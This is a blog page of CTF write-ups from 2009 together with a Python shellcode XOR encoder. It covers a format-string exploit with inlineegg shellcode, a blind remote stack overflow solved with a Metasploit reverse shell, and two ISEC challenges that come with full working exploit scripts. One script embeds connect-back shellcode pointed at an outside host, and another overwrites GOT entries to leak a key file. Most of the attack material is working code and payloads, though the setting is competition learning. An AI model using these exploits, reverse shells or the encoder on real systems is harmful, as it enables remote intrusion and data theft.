Writing neat shellcode using inlineegg – Sapheads HackJam 2009 Challenge 8

October 2, 2009 by thaidn · Leave a Comment 

1. Analysis

First thing first:

$ file t1g3rd

t1g3rd:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.6.15, dynamically linked (uses shared libs), not stripped

t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, the binary forks a new child process, and calls a function named handleClient. At the begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes the binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.

handleClient then goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from the client. The first input is sent back to the client using printf(3), and the second is just discarded.

2. Vulnerability

As one can guess, the printf(3) call at 0×08048c52 that the binary uses to send the first input back to the client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.

3. Exploit

Usually, with this kind of format string bug, one could overwrite the RIP of handleClient or the RIP of the vulnerable printf(3) call to loop back to the begining of handleClient, so that the binary would read(2) another 19 bytes, and the next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above the first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don’t need to use these techniques here.

Right after the vulnerable printf(3) call is another read(2) call at 0×08048c7f whose pseudo-code looks like:

read(0, input_buffer2, length)

where length is an integer stored at $EBP – 0×228 on the stack. Before this call, at 0×08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.

Here are two exploit strings that we send to the binary:

# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes

# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2

4. Shellcode

Now I can make t1g3rd run my shellcode, but as I said in Section 1, the binary disallows opening new file or forking new process. That means the shellcode can’t do anything useful, i.e. reading the key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set the resource limitations back to normal values?

Then comes the question of the day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, there are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out the respective shellcode; c) or use inlineegg to write it in Python.

As the title of this entry suggests, I’ll go with inlineegg. To be honest I hadn’t written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.

Here is the shellcode:

1.    egg = InlineEgg(Linuxx86Syscall)
2.    egg.addCode(egg.micro.pushTuple((100, 200)))
3.    egg.setrlimit(7, egg.micro.varAtTop().addr())    # RLIMIT_NOFILE
4.    buff = egg.alloc(20)
5.    fd = egg.save(-1)
6.    fd = egg.open(flag_file)
7.    nr = egg.read(fd, buff.addr(), 20)
8.    egg.write(0, buff.addr(), nr)
9.    #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10.   egg.exit(0)

The most important lines are 2 and 3 which I would explain shortly. If you want to understand the rest, I suggest you reading inlineegg’s documetation and examples.

The prototype of setrlimit(2) is:

int setrlimit(int resource, const struct rlimit *rlim); 

where the second parameter is a pointer to a rlimit structure which is:

struct rlimit {
 rlim_t rlim_cur;  /* Soft limit */
 rlim_t rlim_max;  /* Hard limit (ceiling for rlim_cur) */
};

So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.

At line 2, I push a tuple (100, 200) to the stack. egg.micro.pushTuple((100, 200)) would return the Assembly code that pushes 100 and 200 to the stack, and egg.addCode of course would add that code to the egg.

At line 3, egg.micro.varAtTop() would return the variable (see class Variable in inlineegg.py) at the top of the stack. Since we just push 100 and 200 to the stack, this variable would contain these two integers. I call addr() on this variable to get its address, and pass the result as the second argument of the setrlimit(2) syscall.

And that’s it! Is it neat? He he he. In the next writeup, I’ll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Python Shellcode Encoder

September 25, 2009 by lamer · Leave a Comment 

At the moment, the package only sports two encoders: fnstenv and jmp/call encoders. Both are classic xor encoders. Hope you find it useful.

# Shellcode encoder to avoid NUL or special characters
#
# egg = inlineegg.InlineEgg(inlineegg.Linuxx86Syscall)
# egg.setreuid(0, 0)
# egg.execve('/bin/sh', ('/bin/sh', '-i'))
# shellcode = egg.getCode()
# encoder = FnstenvXorEncoder()
# bytes = encoder.encode(shellcode)
# shellcode = ''.join(chr(x) for x in bytes)
#
# if encode() raises EncoderError, if may be due to your shellcode's length is
# divisible by 256. Putting in a NOP and try again.
#
# Copyright 2007 Nam T. Nguyen, distributed under the BSD license

import types
import unittest

class EncoderError(Exception):
    pass

class Encoder(object):

    def encode(self, payload):
        return payload

class XorEncoder(Encoder):

    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):
        self._disallowed_chars = set(disallowed_chars)
        self._usable_chars = set(range(256)) - self._disallowed_chars

    def _get_supported_register_sets(self):
        return []

    def _get_register_set(self, register_set):
        return {}

    def _get_header(self):
        return []

    def _get_payload_size_position(self):
        raise NotImplementedError()

    def _get_xor_key_position(self):
        raise NotImplementedError()

    def _encode_payload(self, payload, register_sets):
        buffer = []
        if isinstance(payload, types.StringTypes):
            buffer.extend(ord(x) & 0xFF for x in payload)
        else:
            buffer.extend(payload)

        for c in self._usable_chars:
            ret = buffer[:]
            for i in range(len(ret)):
                ret[i] = ret[i] ^ c
                if ret[i] in self._disallowed_chars:
                    # break inner for
                    break
            else:
                self._xor_key = c
                # break outer for
                break
        else:
            raise EncoderError('cannot encode')

        return ret

    def _prefix_header(self, payload, register_sets):
        ret = self._get_header()

        payload_len = 0x10000 - len(payload)
        payload_size_pos = self._get_payload_size_position()
        ret[payload_size_pos] = payload_len & 0xFF
        ret[payload_size_pos + 1] = (
            (payload_len & 0xFF00) >> 8)

        xor_key_pos = self._get_xor_key_position()
        for reg_set in register_sets:
            for pos, value in self._get_register_set(reg_set).iteritems():
                ret[pos] = value
            for i, c in enumerate(ret):
                if (c in self._disallowed_chars) and (
                    i != xor_key_pos):
                    # break the inner for
                    break
            else:
                # break the outter for
                break
        else:
            raise EncoderError('cannot encode')

        ret[xor_key_pos] = self._xor_key
        ret.extend(payload)

        return ret

    def encode(self, payload, register_sets=[]):
        """Encode payload.

        :param payload: the payload, either a string or a sequence of bytes
        :param register_sets: a sequence of registers to try in shellcode
        header. Sample names include 'eax', 'edx', and 'ebx'.
        :return: a sequence of encoded bytes
        """
        if len(payload) == 0:
            return []

        if len(payload) > 65535:
            raise EncoderError('cannot encode')

        if not self._usable_chars:
            raise EncoderError('cannot encode')

        if not register_sets:
            register_sets = self._get_supported_register_sets()

        encoded_payload = self._encode_payload(payload, register_sets)
        ret = self._prefix_header(encoded_payload, register_sets)

        return ret

    def encode_to_string(self, payload, register_sets=[]):
        """Encode payload. Return a string.

        :see: encode
        """
        return ''.join(chr(x) for x in self.encode(payload, register_sets))

class FnstenvXorEncoder(XorEncoder):
    """Fnstenv Xor based on
    http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm."""
    HEADER = [
        0xD9, 0xE1,                    # fabs
        0xD9, 0x34, 0x24,              # fnstenv [esp]
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x80, 0xEA, 0xE7,              # sub dl,-25     (offset to payload)
        0x31, 0xC9,                    # xor ecx,ecx
        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)
        0x80, 0x32, 0x99,              # decode: xor byte [edx],0x99
        0x42,                          # inc edx
        0xE2, 0xFA,                    # loop decode
        # payload goes here
    ]

    REGISTER_SET = {
        'edx' : {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,
                 20: 0x32, 22: 0x42},
        'eax' : {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C,
                 9: 0x80, 10: 0xE8,
                 20: 0x30, 22: 0x40},
        'ebx' : {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,
                 20: 0x33, 22: 0x43},
    }

    XOR_KEY_POSITION = 21

    PAYLOAD_SIZE_POSITION = 17         # 17 and 18

    def _get_supported_register_sets(self):
        return FnstenvXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return FnstenvXorEncoder.REGISTER_SET[register_set]

    def _get_header(self):
        return FnstenvXorEncoder.HEADER[:]

    def _get_payload_size_position(self):
        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return FnstenvXorEncoder.XOR_KEY_POSITION

class JumpCallXorEncoder(XorEncoder):
    HEADER = [
        0xeb, 0x10,                    # jmp getdata
        0x5b,                          # begin: pop ebx
        0x31, 0xc9,                    # xor ecx, ecx
        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F
        0x80, 0x33, 0x99,              # decode: xor byte[ebx], 0x99
        0x43,                          # inc ebx
        0xe2, 0xfa,                    # loop decode
        0xeb, 0x05,                    # jmp payload
        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin
        # payload goes here            # payload:
    ]

    REGISTER_SET = {
        'eax': {2: 0x58, 11: 0x30, 13: 0x40},
        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},
        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},
    }

    XOR_KEY_POSITION = 12

    PAYLOAD_SIZE_POSITION = 8

    def _get_header(self):
        return JumpCallXorEncoder.HEADER[:]

    def _get_supported_register_sets(self):
        return JumpCallXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return JumpCallXorEncoder.REGISTER_SET[register_set]

    def _get_payload_size_position(self):
        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return JumpCallXorEncoder.XOR_KEY_POSITION

class TestFnstenvXorEncoder(unittest.TestCase):

    def testEmptyShellcode(self):
        encoder = FnstenvXorEncoder()
        self.assertEqual([], encoder.encode(""))

    def testRegisterSet(self):
        encoder = FnstenvXorEncoder()
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x01, 0x42, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['eax'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x58, 0x58, 0x58,
                               0x58, 0x80, 0xe8, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x30, 0x01, 0x40, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['ebx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5b, 0x5b, 0x5b,
                               0x5b, 0x80, 0xeb, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x33, 0x01, 0x43, 0xe2,
                               0xfa, 0x01])
        self.assertRaises(KeyError, encoder.encode, "\x00", ['regset'])

    def testDisallowedCharsInHeader(self):
        encoder = FnstenvXorEncoder(range(256))
        self.assertRaises(EncoderError, encoder.encode, "\x7F")
        encoder = FnstenvXorEncoder([0xE1])
        self.assertRaises(EncoderError, encoder.encode, "\x00")
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x03, 0x42, 0xe2,
                               0xfa, 0x03])

    def testDisallowedCharsInPayload(self):
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x04, 0x42, 0xe2,
                               0xfa, 0x07])
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02, 0x04])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x05, 0x42, 0xe2,
                               0xfa, 0x06])

if __name__ == "__main__":
    unittest.main()

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Challenge 2 and Challenge 9

August 26, 2009 by thaidn · Leave a Comment 

Challenge 2

Challenge 2 is simple yet interesting. The initial target is a Python 2.2 byte-compiled file, so the first job is to decompile it to get the source code. Fortunately, decompyle just works:

$ decompyle newbie.pyc

Thu Aug 27 02:13:25 2009
# emacs-mode: -*- python-*-
import urllib
def some_cryption(arg):
    pass
a = 'http://'
dummy = 'http://korea'
b = 'uxcpb.xe'
b = b.encode('rot13')
c = 'co.kr'
cs = '.com'
d = '/vfrp/uxuxux'
dt = '/hackers'
d = d.encode('rot13')
dx = 'coolguys'
ff = urllib.urlopen(((a + b) + d))
f_data = ff.read()
file = open('hkhkhk', 'w')
file.write(f_data)
some_cryption(f_data)
file.close()

You can see that the purpose of this script is to download some data from a fixed URL, and save them to a file named hkhkhk. We ran the script, and it indeed downloaded this file. As the script suggests, the content of hkhkhk is encrypted by some cipher. 

Opening hkhkhk in a hex editor, one could see that it contains quite a lot of 0×77 characters. A friend of us, Julianor from Netifera, thought that hkhkhk is an executable file, and because excutable file contains a lot of null bytes so 0×77 may be the null byte in the original file. He suggested xoring the content of hkhkhk against 0×77. We did as he suggested, and it worked :-D. hkhkhk turns out to be an ELF executable file:

$ file hkhkhk
hkhkhk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

$ ./hkhkhk
./hkhkhk [server] [port]

---------------------------
server> 221.143.48.88
port> 1111, 2222, ..., 9999
---------------------------

Disassembling hkhkhk reveals that this binary is just a simple client that connects to a remote server to get two integers, and send the sum of them back to that server. If the result is correct (which is always), the server will return a congratulation message like below:

$ ./hkhkhk 221.143.48.88 1111
[(867925) + (9792)] = ?
answer is 877717
it's correct. great!, :-)

At first, we thought we should try to exploit the server to force it to return an error or something, but that didn’t work. Then we thought there’s something hidden inside hkhkhk, so superkhung and I spent 1 hour to inspect every single instruction of the binary, but we saw nothing weird.

At this point, a friend suggested us running the binary inside a debugger. He thought that there may be something hidden in the communication between the server and hkhkhk.

The communication? I fired up wireshark, and to my surprise, I saw the answer right away: Pandas likes hkpco XD. It turns out that the congratulation message is something like:

it's correct. great!, :-)<b>\x00</b>Password is "Pandas likes hkpco XD"

This message is passed to a printf call, and since printf expects a null-terminated string, one could never see the characters after the null byte if he doesn’t run the binary inside a debugger, or sniff the communication like us.

Challenge 9

Challenge 9 (IP: 221.143.48.88; port :4600) is a remote stack-based buffer overflow exploitation. It’s interesting because WOWHacker doesn’t release the binary as other usual exploitation challenges.

While I was banging my head against challenge 8, gamma95 told me that he could crash challenge 9 with 293 bytes. He thought that this challenge is very obvious, and wondered why none was working on it.

Actually we were very short on manpower in the first day of the premilinary round. So we chose to work only on those challenges that we were interested in or had a larger chance of solving them.

When I first saw challenge 9, I thought this challenge should be hard. Blind remote exploitation is supposed to be hard you know. This wrong assumption plus the fact that I haven’t practiced software exploitation in the last several months made me decide to leave this challenge for other teamates who might join us in the second day.

But it turns out this challenge is an easy one.

In order to exploit a stack-based buffer overflow vulnerability, one must know which address to return to. Fortunately, WOWHacker gives us a very helpful hint:

Mr.Her give you something "call me~ call me~" : bfbfeaf2

So 0xbfbfeaf2 is the return address. Normally this address should point to the beginning of our input buffer which in turn should have this structure:

&lt;SHELLCODE&gt;&lt;NOP SLED&gt;&lt;\xf2\xea\xbf\xbf&gt;

The next problem is to determine how many bytes we need to control the EIP. The trick is to use \xeb\xfe as the shellcode, and increase the message one byte a time until we see the service hang after it processes our input. If our theory of the structure of the input buffer is correct, this process will succeed eventually because \xeb\xfe means “loop forever”:

$ echo -ne '\xeb\xfe' | ndisasm -
00000000  EBFE              jmp short 0x0

Using this technique, we can see that we need totally 302 bytes to control the EIP:

$ (python -c 'print "\xeb\xfe" * 149 + "\xf2\xea\xbf\xbf"'; cat) | nc 221.143.48.88 4600

We use Metasploit to generate a BSD reverse-shell shellcode, and we got the answer: WOWHACKER without beist.

Actually this wasn’t as easy as we write here. We made two stupid mistakes: first off, we assumed that this challenge ran on a Linux box; secondly, our connect back box was behind a firewall :-(. Thanks Tora and biest for giving us a hand in resolving them.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

ISEC 2009 CTF Prequal – Challenge 12

August 26, 2009 by RD · Leave a Comment 

Summary

The provided isec binary is a memo server listening on port 8909. It has a remote buffer overflow bug in add memo function in which we can overwrite jmp_buf exception environment stored by setjmp(). Once longjmp() is called later in the program, we can control the EIP to execute our own code.

Vulnerability

The bug is inside the function which is responsible for add memo command at 0×08048CE0. Below is reverse C code of this function:

char memo_array[30][30];
char memoflag_array[30];
int lastmemo;
char buf4[4];

int add_memo(int fd)
{
    char buf128[128];
    int i;
    int idx;

    idx = lastmemo;
    memset(buf128, 0, 128);
    for ( i = 0; i &lt;= 14; ++i )
    {
        if ( i == 15 )
        {
            memcpy(buf128, "[!] Buffer Full!!\n", 19);

            return send(fd, buf128, strlen(buf128), 0);
        }
        if ( !memoflag_array[i] )
        {
            idx = i;
            break;
        }
    }
    memoflag_array[idx] = 1;
    if ( !setjmp(exception_env) )
    {
        memcpy(buf128, "\n[ Add Memo ]\n", 15);
        send(fd, buf128, strlen(buf128), 0);
        memcpy(buf128, "Enter Message : ", 17);
        send(fd, buf128, strlen(buf128), 0);
        memset(buf128, 0, 128);
        recv(fd, buf128, 28, 0);
        strcpy(buf4, buf128);
        longjmp(exception_env, 1);
    }

    if ( strlen(buf128) &lt;= 18 )
    {
        memset(memo_array[idx], 0, 30);
        sprintf(memo_array[idx], "Memo : %s, size : %d", buf128, strlen(buf128));
        memcpy(buf128, "\nSaved Memo!!\n\n", 16);
        send(fd, buf128, strlen(buf128), 0);
        result = lastmemo;
        if ( idx &gt;= lastmemo )
        {
             lastmemo = idx + 1;
             return lastmemo;
        }
    }
    else
    {
        memset(buf128, 0, 128u);
        memcpy(buf128, "size too big!!\n", 16);
        send(fd, buf128, 128, 0);
    }
}

It is easy to see a buffer overflow bug at line 37 strcpy(buf4, buf128). If the input is long enough (more than 24 bytes), we will be able to overwrite the jmp_buf exception_env (see below) which is being used to save exception stack by setjmp() at line 29. By overwriting the IP saved on this jmp_buf and pointing it back to our shellcode, once longjmp() is called later at line 38, our shellcode will be executed.

.bss:0804AD48 ; char buf[4]
.bss:0804AD48 buf4            db 4 dup(?)             ; DATA XREF: add_memo+312
.bss:0804AD4C                 public environ
.bss:0804AD4C environ         dd 5 dup(?)             ; DATA XREF: start+16
.bss:0804AD60 ; struct __jmp_buf_tag exception_env
.bss:0804AD60 exception_env   dd ?                    ; DATA XREF: add_memo+BD
.bss:0804AD60                                         ; 24 bytes away from buf4

Exploit

It’s quite straight forward to exploit this bug. The only problem is that we need to find a good location to store our connect back shellcode as the server only get 28 bytes into buf128 from client. We could do this by splitting the shellcode into many small chunks across different memo records (each memo size is 30 bytes including some predefined texts so we have about 17 bytes for each shellcode chunk in each memo).

I was able to come up with a working exploit in about half an hour after started working on this challenge. Unfortunately, since there was no preparation for this CTF game, the only freesbsd shell I can get access to was a free shell on geekshell.org. It’s a 64 bits FreeBSD box (amd64), `gcc -m32` did not work and some weird behaviors happened due to 32-bit compatibility mode. It was kinda a pain. I spent couple of hours after finishing the exploit just to figure out why my exploit didn’t work, how weird behaviors happened, non-executable data/BSS and how to bypass it and so on.. instead of working on the challenge.

As the BSS segment was non-executable in this box, I searched around the binary and eventually found out a way to do multiple ret-into-code/libc chains (such as calling another recv() for the next stage) by pointing the EIP to 0×08049454.

.text:08049454                 add     esp, 24h
.text:08049457                 pop     ebx
.text:08049458                 pop     ebp
.text:08049459                 retn

This code allows me to have ESP pointing back into the beginning part of controllable buf128 on stack for the ret/..ret/.. chaining.

Fortunately, while I was doing this, a friend went online and gave me the ssh access to his FreeBSD 32 bit box. So I stopped doing it and tried my previous exploit on this 32bits box. It worked without any problem after a few small tweaks.

xxx@spark.ofloo.net> nc -l 4445
id
uid=1006(memo) gid=1006(memo) groups=1006(memo)
cat key
WOWHACKER_WOWCODE&OVERHEAD!?

Exploit code

#!/usr/bin/env python

import socket

class memo:
	def  __init__(self, host, port):
		self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.s.connect((host, port))
		ret = self.s.recv(1024)
		print ret

	def addmemo(self, memo):
		cmd = "1\n"
		self.s.send(cmd)
		ret = self.s.recv(1024)
		print ret
		ret = self.s.recv(1024)
		print ret
		print repr(memo) + "\n"
		self.s.send(memo)
		ret = self.s.recv(1024)
		print ret
		ret = self.s.recv(1024)
		print ret

	def close(self):
		self.s.close()

host = "221.143.48.88"
port = 8909

c = memo(host, port)
a = raw_input("Enter to continue");

# metasploit connect back shellcode with few modifications (jmp)
# spark.ofloo.net:4445
sc = "\x68\xd4\x47\x13\x66\x68\xff\x02\x11\x5d\x89\xe7\x31\xc0\x50\x6a\x01" \
     "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" \
     "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xe6\x68\x2f\x2f\x73\x68\x68\x2f" \
     "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"

SPLITS = [15, 28, 42, 56, 65]
JMPFWD = "\xEB\x0D"
prev = 0
for next in SPLITS:
	tmp = sc[prev:next]
	tmp = tmp.rjust(15,'\x90') + JMPFWD
	c.addmemo(tmp)
	prev = next

# jmpbuf overflow [24 bytes] [EIP]
# 1st memo starts at memo_array+7 = 0x804a9c7
s = "A"*24 + "\xc7\xa9\x04\x08"
c.addmemo(s)

c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

ISEC 2009 CTF Prequal – Challenge 06

August 25, 2009 by RD · Leave a Comment 

Summary

The binary blackhole contains remote buffer overflow bugs. By exploiting these bugs, we can overwrite a buffer pointer being used as the destination for another strcpy() later in the program. Hence, we can write 128 bytes of chosen data to any location we want to.

Vulnerability

Reverse C code of the buggy function at address 0×8048A20

signed int conn_handle(int fd)
{

   unsigned int s;
   int len;
   char buf128[128];
   char destrandbuf12[12];
   char randbuf12[12];
   char destbuf16[16];
   int randnum;
   char *buf_ptr;
   FILE *stream;

   randnum = 0;
   buf_ptr = 0;
   sockfd = fd;
   sendtosocket(fd, "name : ", 7);
   memset(buf128, 0, 128);
   s = time(0);
   srand(s);
   randnum = rand() % 10000;
   readfromsocket(fd, buf128, 32, 10);
   strcpy(destbuf16, buf128);
   memset(randbuf12, 0, 12);
   snprintf(randbuf12, 5, "%d", randnum);
   xor_randnum(randbuf12, destrandbuf12);
   snprintf(buf128, 64, "hello %s , your key : %s\n", destbuf16, destrandbuf12);
   len = strlen(buf128);
   sendtosocket(fd, buf128, len);
   sendtosocket(fd, "surisuri : ", 11);
   memset(buf128, 0, 128);
   readfromsocket(fd, buf128, 128, 10);
   if ( strncmp(buf128, randbuf12, 4) )
   {
     stream = fopen("/dev/null", "w");
     fputs(buf128, stream);
     sendtosocket(fd, "blackhole\n", 10);
     exit(1);
   }
   stream = fopen("./key", "r");
   if ( stream )
   {
     fread(keystr, 32, 1, stream);
     strcpy(randbuf12, buf128);
     strcpy(buf_ptr, buf128);
     printf("abrakatabra the key is %s\n", "elohkcalb");
     exit(1);
   }
   return -1;
}

There are two buffer overflow bugs:
    – 16 bytes overflow at line 23: strcpy(destbuf16, buf128)
    – 116 bytes overflow at line 44: strcpy(randbuf12, buf128)

Exploit

In order to reach the second buggy code at line 44, we need to provide the proper input to pass random check strncmp(buf128, randbuf12, 4) at line 33. The easiest way to do this is to overwrite the `randnum` value using the first strcpy() at line 23. After that, by using the second overflow bug at line 44, we can overwrite `buf_ptr` pointer in the subsequence strcpy(buf_ptr, buf128) at line 45 to be able to write 128 bytes of input data to any memory address.

It’s possible to overwrite the GOT table in the way that the server would send the content of ./key file back to the client via sendtosocket(). Since the static variable `keystr` is used to store the content of ./key file, we can craft the GOT table to change the program flow to end up with something like

; printf GOT points to 0x08048C63
.text:08048C63                 mov     dword ptr [esp+4], 20h ; size
.text:08048C6B                 mov     dword ptr [esp], offset keystr ; ptr
.text:08048C72                 call    _fread

; fread GOT points to 0x08048B98
.text:08048B98                 mov     eax, [ebp+fd]
.text:08048B9B                 mov     [esp], eax      ; fd
.text:08048B9E                 call    sendtosocket

which is equivalent to sendtosocket(fd, keystr, 32) so the server will send us back 32 bytes content of ./key file.

$ python 6.py
< name :
< hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa , your key : 0407
< surisuri :
KEY: wowyougotpasswordgonextlevel

Exploit Code

#!/usr/bin/env python

import socket

host = '221.143.48.88'
port = 57005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

ret = s.recv(1024)
print "&lt; %s" % ret

name = "a"*32 + "\n"
s.send(name)

ret = s.recv(1024)
print "&lt; %s" % ret

ret = s.recv(1024)
print "&lt; %s" % ret

# GOT - from 0x0804A2FC waitpid_ptr
# RANDSTR[4] PAD[4] CALL_SENDTOSOCKET[4] PAD[20] BUF_PTR[4]
# PAD[4] CALL_FREAD[4]

RANDSTR = "1633"
CALL_SENDTOSOCKET = "\x98\x8B\x04\x08"	# fread GOT
CALL_FREAD = "\x63\x8C\x04\x08" 	# printf GOT
BUF_PTR = "\xFC\xA2\x04\x08"		# waitpid GOT
surisuri = RANDSTR + "A"*4 + CALL_SENDTOSOCKET + "A"*20 \
           + BUF_PTR + "A"*4 + CALL_FREAD + "\n"
s.send(surisuri)

ret = s.recv(1024)
print "KEY: %s\n" % ret

s.close

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »